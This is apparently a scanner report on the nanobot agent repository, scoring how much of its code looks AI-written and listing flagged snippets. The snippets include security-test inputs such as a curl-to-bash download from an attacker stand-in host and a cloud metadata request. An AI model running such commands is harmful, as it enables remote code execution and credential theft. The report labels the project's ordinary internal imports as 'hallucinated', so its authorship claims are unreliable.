Repository Analysis

HKUDS/nanobot

Lightweight, open-source AI agent for your tools, chats, and workflows.

35.5 Strong AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of HKUDS/nanobot, a Python project with 45,486 GitHub stars. SynthScan v2.0 examined 285,032 lines of code across 762 source files, recording 7330 pattern matches distributed across 20 syntactic categories. The overall adjusted score of 35.5 places this repository in the Strong AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

35.5
Adjusted Score
35.5
Raw Score
100%
Time Factor
2026-07-14
Last Push
45.5K
Stars
Python
Language
285.0K
Lines of Code
762
Files
7.3K
Pattern Hits
2026-07-14
Scan Date
0.21
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 131HIGH 32MEDIUM 712LOW 6455

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 7330 distinct pattern matches across 20 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers5244 hits · 4704 pts
SeverityFileLineSnippetContext
LOWnanobot/process_runtime.py419def _windows_process_identity(pid: int) -> str | None:CODE
LOWnanobot/optional_features.py64def optional_dependency_groups_from_metadata() -> dict[str, list[str] | None]:CODE
LOWnanobot/optional_features.py88def optional_dependency_groups() -> dict[str, list[str] | None]:CODE
LOWnanobot/optional_features.py105def _install_requirements_for_extra(extra: str, deps: list[str]) -> list[str]:CODE
LOWnanobot/optional_features.py156def _extra_dependencies_installed(CODE
LOWnanobot/optional_features.py294def enable_feishu_instance_config(CODE
LOWnanobot/optional_features.py320def disable_feishu_instance_config(CODE
LOWnanobot/optional_features.py373def _channel_has_required_setup(section: Any, name: str) -> bool:CODE
LOWnanobot/optional_features.py378def _local_login_state_present(section: Any, name: str) -> bool:CODE
LOWnanobot/optional_features.py410def _feishu_instance_display_name(config: dict[str, Any]) -> str:CODE
LOWnanobot/optional_features.py440def optional_features_payload(CODE
LOWnanobot/optional_features.py600def _feature_requires_restart(name: str, *, is_channel: bool) -> bool:CODE
LOWnanobot/runtime_context.py35def wrap_runtime_context_lines(lines: Iterable[str]) -> str:CODE
LOWnanobot/runtime_context.py43def normalize_runtime_context_blocks(result: RuntimeContextResult) -> list[RuntimeContextBlock]:CODE
LOWnanobot/config/schema.py314 def wildcard_host_requires_auth(self) -> "ApiConfig":CODE
LOWnanobot/config/schema.py602def _resolve_tool_config_refs() -> None:CODE
LOWnanobot/security/workspace_access.py248def validate_workspace_scope_payload(CODE
LOWnanobot/security/workspace_access.py288def workspace_scope_from_metadata(CODE
LOWnanobot/security/workspace_access.py317def resolve_effective_workspace_scope(CODE
LOWnanobot/security/workspace_access.py378def current_scope_allows_loopback(*, enabled: bool) -> bool:CODE
LOWnanobot/security/network.py300def _is_allowed_loopback_target(CODE
LOWnanobot/triggers/local_store.py211 def recover_processing_deliveries(self) -> int:CODE
LOWnanobot/triggers/local_store.py282 def write_delivery_run_record(CODE
LOWnanobot/triggers/local_store.py344 def _move_bad_delivery_unlocked(self, path: Path) -> None:CODE
LOWnanobot/triggers/local_store.py366 def _delete_delivery_files_for_trigger_unlocked(self, trigger_id: str) -> None:CODE
LOWnanobot/triggers/local_store.py384 def _delivery_file_trigger_id(path: Path) -> str | None:CODE
LOWnanobot/triggers/local_runner.py164def _write_delivery_run_record(CODE
LOWnanobot/triggers/local_session_turns.py16def _local_trigger_history_text(trigger: Mapping[str, Any]) -> str:CODE
LOWnanobot/triggers/local_session_turns.py47def local_trigger_delivery_id(metadata: Mapping[str, Any] | None) -> str | None:CODE
LOWnanobot/triggers/local_session_turns.py55def local_trigger_history_overrides(CODE
LOWnanobot/triggers/local_turns.py37 def pending_trigger_ids_for_session(self, session_key: str) -> set[str]:CODE
LOWnanobot/triggers/local_turns.py42def _should_defer_local_trigger_turn(CODE
LOWnanobot/providers/image_generation.py141def register_image_gen_provider(cls: type[ImageGenerationProvider]) -> None:CODE
LOWnanobot/providers/image_generation.py162def image_gen_provider_configs(config: Any) -> dict[str, Any]:CODE
LOWnanobot/providers/image_generation.py1475def _collect_text_from_sse_event(event: dict[str, Any], text_parts: list[str]) -> None:CODE
LOWnanobot/providers/image_generation.py75def image_path_to_inline_data(path: str | Path) -> dict[str, str]:CODE
LOWnanobot/providers/image_generation.py493def _ollama_images_from_payload(payload: dict[str, Any]) -> list[str]:CODE
LOWnanobot/providers/image_generation.py740async def _aihubmix_images_from_payload(CODE
LOWnanobot/providers/image_generation.py890def _minimax_images_from_payload(payload: dict[str, Any]) -> list[str]:CODE
LOWnanobot/providers/image_generation.py1325def _openai_multipart_form_body(body: dict[str, Any]) -> dict[str, str]:CODE
LOWnanobot/providers/image_generation.py1342def _openai_is_gpt_image_model(model: str) -> bool:CODE
LOWnanobot/providers/image_generation.py1358def _normalize_openai_image_size(image_size: str | None) -> str | None:CODE
LOWnanobot/providers/image_generation.py1365def _openai_explicit_size_supported(CODE
LOWnanobot/providers/image_generation.py1376async def _openai_images_from_payload(CODE
LOWnanobot/providers/image_generation.py1454def _collect_images_from_sse_event(event: dict[str, Any], images: list[str]) -> None:CODE
LOWnanobot/providers/image_generation.py1590def _stepfun_images_from_payload(payload: dict[str, Any]) -> list[str]:CODE
LOWnanobot/providers/image_generation.py1729async def _zhipu_images_from_payload(CODE
LOWnanobot/providers/transcription.py45def _resolve_transcription_url(api_base: str | None, default_url: str) -> str:CODE
LOWnanobot/providers/transcription.py61def _resolve_chat_completions_url(api_base: str | None, default_url: str) -> str:CODE
LOWnanobot/providers/transcription.py197async def _post_transcription_with_retry(CODE
LOWnanobot/providers/transcription.py235async def _post_json_transcription_with_retry(CODE
LOWnanobot/providers/transcription.py270async def _post_xiaomi_mimo_asr_with_retry(CODE
LOWnanobot/providers/transcription.py318async def _post_stepfun_asr_with_retry(CODE
LOWnanobot/providers/transcription.py510def _text_from_transcription_payload(payload: dict[str, Any]) -> str:CODE
LOWnanobot/providers/transcription.py523def _assemblyai_speech_models(model: str | None) -> list[str]:CODE
LOWnanobot/providers/bedrock_provider.py105 def _uses_adaptive_thinking_only(cls, model: str) -> bool:CODE
LOWnanobot/providers/openai_compat_provider.py580 def _should_normalize_tool_call_ids(self) -> bool:CODE
LOWnanobot/providers/openai_compat_provider.py585 def _coerce_content_to_string(content: Any) -> str | None:CODE
LOWnanobot/providers/openai_compat_provider.py111def _requires_max_completion_tokens(model_name: str) -> bool:CODE
LOWnanobot/providers/openai_compat_provider.py138def _gateway_reasoning_extra_body(style: str, effort: str | None) -> dict[str, Any] | None:CODE
5184 more matches not shown…
Decorative Section Separators691 hits · 2544 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/providers/image_generation.py134# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py136# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py171# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py173# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1482# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1484# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py905# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py907# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1193# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1195# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1605# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1607# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1748# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1750# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py130# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py132# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py686# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py688# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py688 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py690 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1009 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1011 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1513 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1515 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py130 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py132 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py192 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py194 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py660 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py662 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py151 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py153 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py441 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py443 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py483 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py485 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py521 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py523 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py592 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py594 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/document.py379# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/document.py381# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/searchusage.py89# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/searchusage.py91# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py676 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py678 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py36# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py38# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py728# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py730# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py492# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py494# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py160# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py162# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py446# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py448# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py1009# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py1011# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/self.py198 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/self.py200 # ------------------------------------------------------------------COMMENT
631 more matches not shown…
Hallucination Indicators131 hits · 1488 pts
SeverityFileLineSnippetContext
CRITICALnanobot/pairing/store.py21from nanobot.utils.helpers import _write_text_atomicCODE
CRITICALnanobot/config/paths.py7from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/triggers/local_store.py19from nanobot.utils.helpers import truncate_textCODE
CRITICALnanobot/providers/image_generation.py18from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/utils/media_decode.py16from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/utils/__init__.py9from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/utils/runtime.py11from nanobot.utils.helpers import stringify_text_blocksCODE
CRITICALnanobot/utils/document.py10from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/utils/artifacts.py15from nanobot.utils.helpers import detect_image_mime, ensure_dirCODE
CRITICALnanobot/agent/progress_hook.py12from nanobot.utils.helpers import IncrementalThinkExtractor, strip_thinkCODE
CRITICALnanobot/agent/loop.py84from nanobot.utils.helpers import image_placeholder_textCODE
CRITICALnanobot/agent/loop.py85from nanobot.utils.helpers import truncate_text as truncate_text_fnCODE
CRITICALnanobot/agent/tools/image_generation.py31from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/agent/tools/web.py25from nanobot.utils.helpers import build_image_content_blocksCODE
CRITICALnanobot/agent/tools/filesystem.py21from nanobot.utils.helpers import build_image_content_blocks, detect_image_mimeCODE
CRITICALnanobot/agent/tools/message.py175 from nanobot.utils.helpers import strip_thinkCODE
CRITICALnanobot/cli/commands.py81from nanobot.utils.helpers import sync_workspace_templates # noqa: E402CODE
CRITICALnanobot/api/server.py21from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/webui/mcp_presets_api.py24from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/webui/media_api.py21from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/command/builtin.py18from nanobot.utils.helpers import build_status_contentCODE
CRITICALnanobot/channels/matrix.py60from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/channels/signal.py27from nanobot.utils.helpers import safe_filename, split_messageCODE
CRITICALnanobot/channels/telegram.py36from nanobot.utils.helpers import split_messageCODE
CRITICALnanobot/channels/discord.py22from nanobot.utils.helpers import safe_filename, split_messageCODE
CRITICALnanobot/channels/mattermost.py20from nanobot.utils.helpers import safe_filename, split_messageCODE
CRITICALnanobot/channels/email.py31from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/channels/feishu.py41from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/channels/feishu.py1200 response = self._client.im.v1.message_reaction.create(request)CODE
CRITICALnanobot/channels/feishu.py1241 response = self._client.im.v1.message_reaction.delete(request)CODE
CRITICALnanobot/channels/feishu.py1578 response = self._client.im.v1.image.create(request)CODE
CRITICALnanobot/channels/feishu.py1612 response = self._client.im.v1.file.create(request)CODE
CRITICALnanobot/channels/feishu.py1640 response = self._client.im.v1.message_resource.get(request)CODE
CRITICALnanobot/channels/feishu.py1675 response = self._client.im.v1.message_resource.get(request)CODE
CRITICALnanobot/channels/feishu.py1779 response = self._client.im.v1.message.get(request)CODE
CRITICALnanobot/channels/feishu.py1836 response = self._client.im.v1.message.reply(request)CODE
CRITICALnanobot/channels/feishu.py1968 response = self._client.im.v1.message.create(request)CODE
CRITICALnanobot/channels/feishu.py2026 response = self._client.cardkit.v1.card.create(request)CODE
CRITICALnanobot/channels/feishu.py2076 response = self._client.cardkit.v1.card_element.content(request)CODE
CRITICALnanobot/channels/feishu.py2108 response = self._client.cardkit.v1.card.settings(request)CODE
CRITICALnanobot/channels/napcat.py28from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/channels/weixin.py37from nanobot.utils.helpers import split_messageCODE
CRITICALnanobot/channels/slack.py23from nanobot.utils.helpers import safe_filename, split_messageCODE
CRITICALnanobot/session/webui_turns.py38from nanobot.utils.helpers import strip_think, truncate_textCODE
CRITICALtests/test_build_status.py3from nanobot.utils.helpers import build_status_contentCODE
CRITICALtests/providers/test_reasoning_content.py11from nanobot.utils.helpers import build_assistant_messageCODE
CRITICALtests/utils/test_token_estimation.py4from nanobot.utils.helpers import estimate_prompt_tokens, estimate_prompt_tokens_chainCODE
CRITICALtests/utils/test_searchusage.py13from nanobot.utils.helpers import build_status_contentCODE
CRITICALtests/utils/test_helpers.py6from nanobot.utils.helpers import _write_text_atomic, split_message, truncate_text_to_tokensCODE
CRITICALtests/agent/test_context_prompt_cache.py218 from nanobot.utils.helpers import sync_workspace_templatesCODE
CRITICALtests/agent/test_context_prompt_cache.py356 from nanobot.utils.helpers import sync_workspace_templatesCODE
CRITICALtests/agent/test_context_prompt_cache.py373 from nanobot.utils.helpers import sync_workspace_templatesCODE
CRITICALtests/agent/test_session_collision.py8from nanobot.utils.helpers import safe_filenameCODE
CRITICALtests/agent/test_runner_persistence.py57 from nanobot.utils.helpers import maybe_persist_tool_resultCODE
CRITICALtests/agent/test_runner_persistence.py86 from nanobot.utils.helpers import maybe_persist_tool_resultCODE
CRITICALtests/agent/test_runner_persistence.py102 from nanobot.utils.helpers import maybe_persist_tool_resultCODE
CRITICALtests/agent/test_onboard_logic.py26from nanobot.utils.helpers import sync_workspace_templatesCODE
CRITICALtests/cli/test_commands.py1605 from nanobot.utils.helpers import load_bundled_templateCODE
CRITICALtests/channels/test_mattermost_channel.py985 from nanobot.utils.helpers import split_messageCODE
CRITICALtests/channels/test_telegram_channel.py732 edit_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "")CODE
71 more matches not shown…
Excessive Try-Catch Wrapping472 hits · 452 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py251 except Exception as exc:CODE
MEDIUMnanobot/optional_features.py64def optional_dependency_groups_from_metadata() -> dict[str, list[str] | None]:CODE
LOWnanobot/optional_features.py60 except Exception:CODE
LOWnanobot/optional_features.py67 except Exception:CODE
LOWnanobot/optional_features.py76 except Exception:CODE
LOWnanobot/optional_features.py84 except Exception:CODE
LOWnanobot/optional_features.py110 except Exception:CODE
LOWnanobot/optional_features.py173 except Exception:CODE
LOWnanobot/optional_features.py576 except Exception as exc:CODE
LOWnanobot/security/network.py89 except Exception as e:CODE
LOWnanobot/security/network.py132 except Exception:CODE
LOWnanobot/security/network.py198 except Exception:CODE
LOWnanobot/security/network.py262 except Exception:CODE
LOWnanobot/triggers/local_store.py203 except Exception:CODE
LOWnanobot/triggers/local_store.py223 except Exception:CODE
LOWnanobot/triggers/local_store.py319 except Exception as exc:CODE
LOWnanobot/triggers/local_store.py387 except Exception:CODE
LOWnanobot/triggers/local_runner.py101 except Exception as exc:CODE
LOWnanobot/triggers/local_runner.py181 except Exception:CODE
LOWnanobot/providers/image_generation.py446 except Exception:CODE
LOWnanobot/providers/image_generation.py1237 except Exception as exc:CODE
LOWnanobot/providers/image_generation.py1426 except Exception:CODE
LOWnanobot/providers/image_generation.py1445 except Exception:CODE
LOWnanobot/providers/transcription.py146 except Exception as e:CODE
LOWnanobot/providers/transcription.py173 except Exception as e:CODE
LOWnanobot/providers/transcription.py179 except Exception as e:CODE
LOWnanobot/providers/transcription.py459 except Exception as e:CODE
LOWnanobot/providers/transcription.py486 except Exception as e:CODE
LOWnanobot/providers/transcription.py492 except Exception as e:CODE
LOWnanobot/providers/bedrock_provider.py121 except Exception:CODE
LOWnanobot/providers/bedrock_provider.py209 except Exception:CODE
LOWnanobot/providers/bedrock_provider.py688 except Exception as e:CODE
LOWnanobot/providers/bedrock_provider.py751 except Exception as e:CODE
LOWnanobot/providers/openai_compat_provider.py594 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py190 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py370 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py1445 except Exception:CODE
LOWnanobot/providers/openai_compat_provider.py1538 except Exception as responses_error:CODE
LOWnanobot/providers/openai_compat_provider.py1555 except Exception as e:CODE
LOWnanobot/providers/openai_compat_provider.py1613 except Exception as responses_error:CODE
LOWnanobot/providers/openai_compat_provider.py1703 except Exception as e:CODE
LOWnanobot/providers/azure_openai_provider.py75 except Exception:CODE
LOWnanobot/providers/azure_openai_provider.py213 except Exception as e:CODE
LOWnanobot/providers/azure_openai_provider.py248 except Exception as e:CODE
LOWnanobot/providers/openai_codex_provider.py90 except Exception as e:CODE
LOWnanobot/providers/openai_codex_provider.py108 except Exception as e:CODE
LOWnanobot/providers/fallback_provider.py239 except Exception as exc:CODE
LOWnanobot/providers/anthropic_provider.py103 except Exception:CODE
LOWnanobot/providers/anthropic_provider.py688 except Exception as e:CODE
LOWnanobot/providers/anthropic_provider.py797 except Exception as e:CODE
LOWnanobot/providers/base.py136 except Exception:CODE
LOWnanobot/providers/base.py139 except Exception:CODE
LOWnanobot/providers/base.py111 except Exception:CODE
LOWnanobot/providers/base.py460 except Exception:CODE
LOWnanobot/providers/base.py619 except Exception as exc:CODE
LOWnanobot/providers/base.py663 except Exception as exc:CODE
LOWnanobot/providers/base.py826 except Exception:CODE
LOWnanobot/providers/openai_responses/parsing.py81 except Exception:CODE
LOWnanobot/bus/runtime_events.py124 except Exception:CODE
LOWnanobot/utils/gitstore.py120 except Exception:CODE
412 more matches not shown…
Unused Imports404 hits · 380 pts
SeverityFileLineSnippetContext
LOWhatch_build.py21CODE
LOWnanobot/nanobot.py3CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/nanobot.py21CODE
LOWnanobot/process_runtime.py3CODE
LOWnanobot/optional_features.py2CODE
LOWnanobot/runtime_context.py3CODE
LOWnanobot/pairing/store.py8CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/config/paths.py3CODE
LOWnanobot/config/__init__.py3CODE
LOWnanobot/config/__init__.py3CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py4CODE
LOWnanobot/config/__init__.py16CODE
LOWnanobot/config/schema.py2CODE
LOWnanobot/security/workspace_access.py3CODE
LOWnanobot/security/workspace_policy.py7CODE
LOWnanobot/security/network.py3CODE
LOWnanobot/triggers/local_types.py3CODE
LOWnanobot/triggers/local_store.py3CODE
LOWnanobot/triggers/__init__.py3CODE
LOWnanobot/triggers/__init__.py3CODE
LOWnanobot/triggers/__init__.py3CODE
LOWnanobot/triggers/__init__.py3CODE
LOWnanobot/triggers/__init__.py9CODE
LOWnanobot/triggers/__init__.py9CODE
LOWnanobot/triggers/__init__.py9CODE
LOWnanobot/triggers/local_runner.py3CODE
LOWnanobot/triggers/local_session_turns.py3CODE
LOWnanobot/triggers/local_turns.py3CODE
LOWnanobot/providers/image_generation.py3CODE
344 more matches not shown…
Cross-Language Confusion27 hits · 165 pts
SeverityFileLineSnippetContext
HIGHhatch_build.py5to remember `cd webui && bun run build` beforehand.STRING
HIGHhatch_build.py10 development; webui contributors use `cd webui && bun run dev` (Vite HMR) andSTRING
HIGHhatch_build.py57 "(use `cd webui && bun run build` to bundle webui manually)"CODE
HIGHnanobot/web/__init__.py8can still use the Vite dev server at ``cd webui && bun run dev``.STRING
HIGHnanobot/agent/tools/shell.py542 "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }"CODE
HIGHnanobot/webui/build.py194 "`cd webui && bun run build` manually"CODE
HIGHnanobot/webui/build.py245 message = "Build WebUI now? This runs `cd webui && bun run build`."CODE
HIGHtests/tools/test_exec_security.py133 command="echo start && curl http://169.254.169.254/latest/meta-data/ && echo done"CODE
HIGHtests/tools/test_exec_security.py260 'rm test_print.txt 2>/dev/null; echo "done"',CODE
HIGHtests/tools/test_exec_security.py290 command=f'rm {target} 2>/dev/null; echo "done"',CODE
HIGHtests/tools/test_exec_platform.py737 result = await ExecTool(timeout=10).execute(command="echo before && echo after")CODE
HIGHtests/tools/test_exec_platform.py214 assert "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" in commandCODE
HIGHtests/tools/test_exec_platform.py567 cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp'CODE
HIGHtests/tools/test_exec_env.py118 '/tmp/bin && curl http://attacker.com/shell.sh | bash',CODE
HIGHtests/security/test_security_network.py267 assert not contains_internal_url("echo hello && ls -la")CODE
HIGHtests/utils/test_workspace_violation_throttle.py33 {"command": "cat /Users/x/Downloads/01.md && echo done"},CODE
HIGHtests/agent/test_cursor_recovery.py52 '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "null"}\n'CODE
HIGHtests/agent/test_cursor_recovery.py127 '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "also bad"}\n'CODE
HIGHtests/agent/test_tool_hint.py46 cmd = "cd /very/long/path && cat file && echo done && sleep 1 && ls -la"CODE
HIGHtests/agent/test_tool_hint.py53 cmd = "cd D:\\Documents\\GitHub\\nanobot\\.worktree\\tomain\\nanobot && git diff origin/main...pr-2706 --name-onCODE
HIGHtests/agent/test_tool_hint.py60 cmd = "cd /home/user/projects/nanobot/.worktree/tomain && make build"CODE
HIGHtests/agent/test_tool_hint.py67 cmd = "cd ~/projects/nanobot/workspace && pytest tests/"CODE
HIGHtests/agent/test_tool_hint.py93 cmd = "cd D:\\Documents\\GitHub\\project && npm run build && npm test"CODE
HIGHtests/agent/test_tool_hint.py259 cmd = "cd /very/long/path/to/some/project && npm run build && npm test"CODE
HIGHtests/agent/test_tool_hint.py265 cmd = "cd /very/long/path/to/some/project && npm run build && npm test"CODE
HIGHtests/agent/test_tool_hint.py272 cmd = "cd /home/user/project && npm install && npm run build"CODE
HIGHtests/channels/test_websocket_channel.py291 ('{"content": null}', None), # null contentCODE
Deep Nesting184 hits · 136 pts
SeverityFileLineSnippetContext
LOWnanobot/process_runtime.py231CODE
LOWnanobot/optional_features.py64CODE
LOWnanobot/pairing/store.py244CODE
LOWnanobot/triggers/local_store.py396CODE
LOWnanobot/providers/image_generation.py1398CODE
LOWnanobot/providers/image_generation.py1454CODE
LOWnanobot/providers/image_generation.py677CODE
LOWnanobot/providers/bedrock_provider.py514CODE
LOWnanobot/providers/openai_compat_provider.py598CODE
